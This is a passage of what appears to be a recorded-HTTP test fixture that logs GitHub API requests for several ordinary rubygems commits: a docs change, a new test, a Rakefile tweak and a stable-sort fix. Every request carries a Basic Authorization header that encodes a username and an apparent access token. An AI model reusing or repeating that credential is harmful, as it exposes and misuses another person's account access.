hlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWx5c3NhaXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FseXNzYWlzL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbHlzc2Fpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiMjBlYjRlYjgyYTgyNzBiOGVjY2Q5MDI4YzVhOTcyMjQ5MzMyZTUxYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yMGViNGViODJhODI3MGI4ZWNjZDkwMjhjNWE5NzIyNDkzMzJlNTFjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzIwZWI0ZWI4MmE4MjcwYjhlY2NkOTAyOGM1YTk3MjI0OTMzMmU1MWMifV0sInN0YXRzIjp7InRvdGFsIjo2LCJhZGRpdGlvbnMiOjMsImRlbGV0aW9ucyI6M30sImZpbGVzIjpbeyJzaGEiOiI1M2NjNWFlMzdlYmM5MjgwNTQ4NjZkNzgyOWI1YzdmMjE5MDc0MjUwIiwiZmlsZW5hbWUiOiJQT0xJQ0lFUy5yZG9jIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjMsImRlbGV0aW9ucyI6MywiY2hhbmdlcyI6NiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi85OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5L1BPTElDSUVTLnJkb2MiLCJyYXdfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3Jhdy85OTVkZGM5MDY0MGY2ZjdjZjAyYWIzYzhiMmI2OWZmYTQyNGVkMDY5L1BPTElDSUVTLnJkb2MiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL1BPTElDSUVTLnJkb2M/cmVmPTk5NWRkYzkwNjQwZjZmN2NmMDJhYjNjOGIyYjY5ZmZhNDI0ZWQwNjkiLCJwYXRjaCI6IkBAIC0yLDE0ICsyLDE0IEBAXG4gXG4gQ29udHJpYnV0aW9ucyB0byBSdWJ5R2VtcyBhcmUgbWFkZSB2aWEgR2l0SHViIHB1bGwgcmVxdWVzdHMsIHdoaWNoIG11c3QgYmVcbiBhcHByb3ZlZCBieSBhIHByb2plY3QgY29tbWl0dGVyIG90aGVyIHRoYW4gdGhlIGF1dGhvci4gVG8gYXBwcm92ZSBhIFBSLCBhXG4tbWFpbnRhaW5lciBjYW4gbGVhdmUgYSBjb21tZW50IGluY2x1ZGluZyB0aGUgdGV4dCBcIkBob211IHIrXCIsIGluZGljYXRpbmcgdGhhdFxuLXRoZXkgaGF2ZSByZXZpZXdlZCB0aGUgUFIgYW5kIGFwcHJvdmUgaXQuIHtIb211fVtodHRwOi8vaG9tdS5pb10gd2lsbCB0aGVuXG4rbWFpbnRhaW5lciBjYW4gbGVhdmUgYSBjb21tZW50IGluY2x1ZGluZyB0aGUgdGV4dCBcIkBidW5kbGVyYm90IHIrXCIsIGluZGljYXRpbmcgdGhhdFxuK3RoZXkgaGF2ZSByZXZpZXdlZCB0aGUgUFIgYW5kIGFwcHJvdmUgaXQuIEJ1bmRsZXJib3Qgd2lsbCB0aGVuXG4gYXV0b21hdGljYWxseSBjcmVhdGUgYSBtZXJnZSBjb21taXQsIHRlc3QgdGhlIG1lcmdlLCBhbmQgbGFuZCB0aGUgUFIgaWYgdGhlXG4gbWVyZ2UgY29tbWl0IHBhc3NlcyB0aGUgdGVzdHMuXG4gXG4gVGhpcyBwcm9jZXNzIGd1YXJhbnRlZXMgdGhhdCBvdXIgcmVsZWFzZSBicmFuY2hlcyBhbHdheXMgaGF2ZSBwYXNzaW5nIHRlc3RzLFxuIGFuZCByZWR1Y2VzIHNpbG9pbmcgb2YgaW5mb3JtYXRpb24gdG8gYSBzaW5nbGUgY29udHJpYnV0b3IuIEZvciBhIGZ1bGwgbGlzdCBvZlxuLXBvc3NpYmxlIGNvbW1hbmRzLCBzZWUge3RoZSBIb211IGRvY3VtZW50YXRpb259W2h0dHA6Ly9ob211LmlvXS5cbitwb3NzaWJsZSBjb21tYW5kcywgc2VlIHt0aGUgQnVuZGxlcmJvdCBkb2N1bWVudGF0aW9ufVtodHRwczovL2J1bmRsZXJib3QtaG9tdS5oZXJva3VhcHAuY29tL10uXG4gXG4gPT0gTG9uZy1UZXJtIFN1cHBvcnRcbiAifV19 http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4355' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"51364e2c1e85e226df6049ddc81c2717" Last-Modified: - Sun, 06 Aug 2017 12:48:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043884' X-Github-Request-Id: - C63A:4D96:971E3A:13A4954:5A50E485 body: encoding: ASCII-8BIT string: '{"sha":"27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","commit":{"author":{"name":"anantkolvankar","email":"ani.kolvankar@gmail.com","date":"2017-08-06T12:44:22Z"},"committer":{"name":"anantkolvankar","email":"ani.kolvankar@gmail.com","date":"2017-08-06T12:48:12Z"},"message":"Added testcase for uninstalling gem that is not installed.","tree":{"sha":"ce16a4cef67cb17517605f0bebe35e6b6804fd2a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ce16a4cef67cb17517605f0bebe35e6b6804fd2a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","html_url":"https://github.com/rubygems/rubygems/commit/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc/comments","author":{"login":"anantkolvankar","id":4113610,"avatar_url":"https://avatars0.githubusercontent.com/u/4113610?v=4","gravatar_id":"","url":"https://api.github.com/users/anantkolvankar","html_url":"https://github.com/anantkolvankar","followers_url":"https://api.github.com/users/anantkolvankar/followers","following_url":"https://api.github.com/users/anantkolvankar/following{/other_user}","gists_url":"https://api.github.com/users/anantkolvankar/gists{/gist_id}","starred_url":"https://api.github.com/users/anantkolvankar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anantkolvankar/subscriptions","organizations_url":"https://api.github.com/users/anantkolvankar/orgs","repos_url":"https://api.github.com/users/anantkolvankar/repos","events_url":"https://api.github.com/users/anantkolvankar/events{/privacy}","received_events_url":"https://api.github.com/users/anantkolvankar/received_events","type":"User","site_admin":false},"committer":{"login":"anantkolvankar","id":4113610,"avatar_url":"https://avatars0.githubusercontent.com/u/4113610?v=4","gravatar_id":"","url":"https://api.github.com/users/anantkolvankar","html_url":"https://github.com/anantkolvankar","followers_url":"https://api.github.com/users/anantkolvankar/followers","following_url":"https://api.github.com/users/anantkolvankar/following{/other_user}","gists_url":"https://api.github.com/users/anantkolvankar/gists{/gist_id}","starred_url":"https://api.github.com/users/anantkolvankar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anantkolvankar/subscriptions","organizations_url":"https://api.github.com/users/anantkolvankar/orgs","repos_url":"https://api.github.com/users/anantkolvankar/repos","events_url":"https://api.github.com/users/anantkolvankar/events{/privacy}","received_events_url":"https://api.github.com/users/anantkolvankar/received_events","type":"User","site_admin":false},"parents":[{"sha":"7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","url":"https://api.github.com/repos/rubygems/rubygems/commits/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","html_url":"https://github.com/rubygems/rubygems/commit/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa"}],"stats":{"total":12,"additions":12,"deletions":0},"files":[{"sha":"cca135afdeeae325cd6f8eae7ea128528a8d80d1","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":12,"deletions":0,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/27927a2f66ecfcba302b1bdb8485fe9aecce0bcc/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=27927a2f66ecfcba302b1bdb8485fe9aecce0bcc","patch":"@@ -279,5 +279,17 @@ def test_handle_options_vendor_missing\n RbConfig::CONFIG[''vendordir''] = orig_vendordir\n end\n \n+ def test_execute_with_gem_not_installed\n+ @cmd.options[:args] = [''d'']\n+\n+ use_ui ui do\n+ @cmd.execute\n+ end\n+\n+ output = ui.output.split \"\\n\"\n+ \n+ assert_equal output.first, \"Gem ''d'' is not installed\"\n+ end\n+\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8c7f78b50d80f1a700a4bee0dc41848d62a365a3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4354' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"39273df60e63eb56963813bb95aab2ae" Last-Modified: - Sat, 05 Aug 2017 06:54:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043802' X-Github-Request-Id: - C63C:4D95:F48ABA:1C84F4C:5A50E485 body: encoding: ASCII-8BIT string: '{"sha":"8c7f78b50d80f1a700a4bee0dc41848d62a365a3","commit":{"author":{"name":"Wilson Bilkovich","email":"wilsonb@gmail.com","date":"2017-08-05T06:54:22Z"},"committer":{"name":"Wilson Bilkovich","email":"wilsonb@gmail.com","date":"2017-08-05T06:54:22Z"},"message":"Display an explanation when rake encounters an ontological problem.","tree":{"sha":"26924424775ae3bee76deff5de6415c45c7a7512","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/26924424775ae3bee76deff5de6415c45c7a7512"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8c7f78b50d80f1a700a4bee0dc41848d62a365a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8c7f78b50d80f1a700a4bee0dc41848d62a365a3","html_url":"https://github.com/rubygems/rubygems/commit/8c7f78b50d80f1a700a4bee0dc41848d62a365a3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8c7f78b50d80f1a700a4bee0dc41848d62a365a3/comments","author":{"login":"wilson","id":174,"avatar_url":"https://avatars0.githubusercontent.com/u/174?v=4","gravatar_id":"","url":"https://api.github.com/users/wilson","html_url":"https://github.com/wilson","followers_url":"https://api.github.com/users/wilson/followers","following_url":"https://api.github.com/users/wilson/following{/other_user}","gists_url":"https://api.github.com/users/wilson/gists{/gist_id}","starred_url":"https://api.github.com/users/wilson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wilson/subscriptions","organizations_url":"https://api.github.com/users/wilson/orgs","repos_url":"https://api.github.com/users/wilson/repos","events_url":"https://api.github.com/users/wilson/events{/privacy}","received_events_url":"https://api.github.com/users/wilson/received_events","type":"User","site_admin":false},"committer":{"login":"wilson","id":174,"avatar_url":"https://avatars0.githubusercontent.com/u/174?v=4","gravatar_id":"","url":"https://api.github.com/users/wilson","html_url":"https://github.com/wilson","followers_url":"https://api.github.com/users/wilson/followers","following_url":"https://api.github.com/users/wilson/following{/other_user}","gists_url":"https://api.github.com/users/wilson/gists{/gist_id}","starred_url":"https://api.github.com/users/wilson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wilson/subscriptions","organizations_url":"https://api.github.com/users/wilson/orgs","repos_url":"https://api.github.com/users/wilson/repos","events_url":"https://api.github.com/users/wilson/events{/privacy}","received_events_url":"https://api.github.com/users/wilson/received_events","type":"User","site_admin":false},"parents":[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e"}],"stats":{"total":17,"additions":15,"deletions":2},"files":[{"sha":"47e73a107ee4fdeea612ed1a13cf8c04655f176a","filename":"Rakefile","status":"modified","additions":15,"deletions":2,"changes":17,"blob_url":"https://github.com/rubygems/rubygems/blob/8c7f78b50d80f1a700a4bee0dc41848d62a365a3/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/8c7f78b50d80f1a700a4bee0dc41848d62a365a3/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=8c7f78b50d80f1a700a4bee0dc41848d62a365a3","patch":"@@ -33,6 +33,7 @@ Hoe::RUBY_FLAGS << \" --disable-gems\" if RUBY_VERSION > \"1.9\"\n \n Hoe.plugin :git\n Hoe.plugin :travis\n+Hoe.plugin :newb\n \n hoe = Hoe.spec ''rubygems-update'' do\n self.author = [''Jim Weirich'', ''Chad Fowler'', ''Eric Hodel'']\n@@ -127,13 +128,25 @@ rescue LoadError, RuntimeError # rake 10.1 on rdoc from ruby 1.9.2 and earlier\n end\n end\n \n+class Hoe\n+ module Deps\n+ alias_method :default_check_extra_task, :check_extra_deps_task\n+ def check_extra_deps_task\n+ default_check_extra_task\n+ rescue Gem::LoadError => e\n+ raise unless e.name == ''rake''\n+ details = \"#{e.class}: #{e}\"\n+ abort \"To override your default rake version, run: `rake _x.y.z_ task_name`:\\n\\t#{details}\"\n+ end\n+ end\n+end\n+task(:newb).prerequisites.unshift \"bundler:checkout\"\n+\n desc \"Install gems needed to run the tests\"\n task :install_test_deps => :clean_env do\n sh \"gem install minitest -v ''~> 4.0''\"\n end\n \n-task(:newb).prerequisites.unshift \"bundler:checkout\"\n-\n begin\n require \"automatiek\"\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a1a878768345aeaf81d03e1c6b792060781aab4f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4353' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ea655a684162447619b1fc352aab596f" Last-Modified: - Sat, 05 Aug 2017 02:07:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048107' X-Github-Request-Id: - C63E:4D97:903DC5:1C48B4A:5A50E485 body: encoding: ASCII-8BIT string: '{"sha":"a1a878768345aeaf81d03e1c6b792060781aab4f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-05T02:07:27Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-08-05T02:07:27Z"},"message":"Picked from https://github.com/ruby/ruby/commit/41e1670a64405133e3d25b73e5cab9456ccb364e\n\n```\n* lib/rubygems/resolver.rb (sort_dependencies): use stable sort.\n TestGemRequestSetLockfile#test_to_s_gem_dependency_non_default\n fails because this method return unstable results.\n Note that Enumerable#sort_by is unstable.\n\n I''m not sure the \"stable\" nature is required for RubyGems.\n The fact is that using stable sort, the test passed on\n mswin64+VS2017 where the sort results was reverse (unstable) order.\n Also using `-i` instead of `i` (it means forcing unstable sort)\n this test fails on other platform where the test successed before.\n```","tree":{"sha":"7a350d29aed9262a50e49499f5965986e94642bc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7a350d29aed9262a50e49499f5965986e94642bc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a1a878768345aeaf81d03e1c6b792060781aab4f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlmFKM4ACgkQ+c8TQXJk\n+sJU+gf/YvVb/PZe8ZixFb59zeGzd09FVeuQncD9m6CInaAdiexOzNShLHoxH55+\n8iYNEqA//PkpnLT3O+HFKCJDLLR3houZiKMfcRZHj4gi0BmDFssGnoTIJytxrITq\ncmf2LPOj/yqlMIyInv52kbcqK7d0+lbqnZym279uEuFGqtPmNgyOd/pucoqashN/\nkJ8k+XWDoXFFRd+lGA2YodhDwfDQvGbNDkFK6RrJR/FlvQrQTu9IWor76sasqOnZ\nQCk4JrWDAnl71W87uJ+YGlLXsjKAcf7YvPxOhS6hq8PLPz05DkiGf9jqbOvUECa8\nHOqrQC4heHE3fVtIitQA6qrFUsd40w==\n=0DAg\n-----END PGP SIGNATURE-----","payload":"tree 7a350d29aed9262a50e49499f5965986e94642bc\nparent db62fabf4b9291b73b5aa33cfa260b230d9b8c3e\nauthor SHIBATA Hiroshi 1501898847 +0900\ncommitter SHIBATA Hiroshi 1501898847 +0900\n\nPicked from https://github.com/ruby/ruby/commit/41e1670a64405133e3d25b73e5cab9456ccb364e\n\n```\n* lib/rubygems/resolver.rb (sort_dependencies): use stable sort.\n TestGemRequestSetLockfile#test_to_s_gem_dependency_non_default\n fails because this method return unstable results.\n Note that Enumerable#sort_by is unstable.\n\n I''m not sure the \"stable\" nature is required for RubyGems.\n The fact is that using stable sort, the test passed on\n mswin64+VS2017 where the sort results was reverse (unstable) order.\n Also using `-i` instead of `i` (it means forcing unstable sort)\n this test fails on other platform where the test successed before.\n```\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a1a878768345aeaf81d03e1c6b792060781aab4f","html_url":"https://github.com/rubygems/rubygems/commit/a1a878768345aeaf81d03e1c6b792060781aab4f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a1a878768345aeaf81d03e1c6b792060781aab4f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"88519ac56fc75430ddf6a5c39328921580c29479","filename":"lib/rubygems/resolver.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/a1a878768345aeaf81d03e1c6b792060781aab4f/lib/rubygems/resolver.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a1a878768345aeaf81d03e1c6b792060781aab4f/lib/rubygems/resolver.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver.rb?ref=a1a878768345aeaf81d03e1c6b792060781aab4f","patch":"@@ -275,13 +275,14 @@ def allow_missing?(dependency)\n end\n \n def sort_dependencies(dependencies, activated, conflicts)\n- dependencies.sort_by do |dependency|\n+ dependencies.sort_by.with_index do |dependency, i|\n name = name_for(dependency)\n [\n activated.vertex_named(name).payload ? 0 : 1,\n amount_constrained(dependency),\n conflicts[name] ? 0 : 1,\n activated.vertex_named(name).payload ? 0 : search_for(dependency).count,\n+ i # for stable sort\n ]\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4352' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0635764c9ac13aed5da33a598713368e" Last-Modified: - Wed, 02 Aug 2017 10:04:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044736' X-Github-Request-Id: - A370:4D95:F48AD2:1C84F7E:5A50E485 body: encoding: ASCII-8BIT string: '{"sha":"7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","commit":{"author":{"name":"anantkolvankar","email":"ani.kolvankar@gmail.com","date":"2017-08-02T09:53:13Z"},"committer":{"name":"anantkolvankar","email":"ani.kolvankar@gmail.com","date":"2017-08-02T10:04:34Z"},"message":"Added message to uninstall command for gem that is not installed.","tree":{"sha":"999397935f376afa8398ccb2fe67dc9492128bff","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/999397935f376afa8398ccb2fe67dc9492128bff"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","html_url":"https://github.com/rubygems/rubygems/commit/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa/comments","author":{"login":"anantkolvankar","id":4113610,"avatar_url":"https://avatars0.githubusercontent.com/u/4113610?v=4","gravatar_id":"","url":"https://api.github.com/users/anantkolvankar","html_url":"https://github.com/anantkolvankar","followers_url":"https://api.github.com/users/anantkolvankar/followers","following_url":"https://api.github.com/users/anantkolvankar/following{/other_user}","gists_url":"https://api.github.com/users/anantkolvankar/gists{/gist_id}","starred_url":"https://api.github.com/users/anantkolvankar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anantkolvankar/subscriptions","organizations_url":"https://api.github.com/users/anantkolvankar/orgs","repos_url":"https://api.github.com/users/anantkolvankar/repos","events_url":"https://api.github.com/users/anantkolvankar/events{/privacy}","received_events_url":"https://api.github.com/users/anantkolvankar/received_events","type":"User","site_admin":false},"committer":{"login":"anantkolvankar","id":4113610,"avatar_url":"https://avatars0.githubusercontent.com/u/4113610?v=4","gravatar_id":"","url":"https://api.github.com/users/anantkolvankar","html_url":"https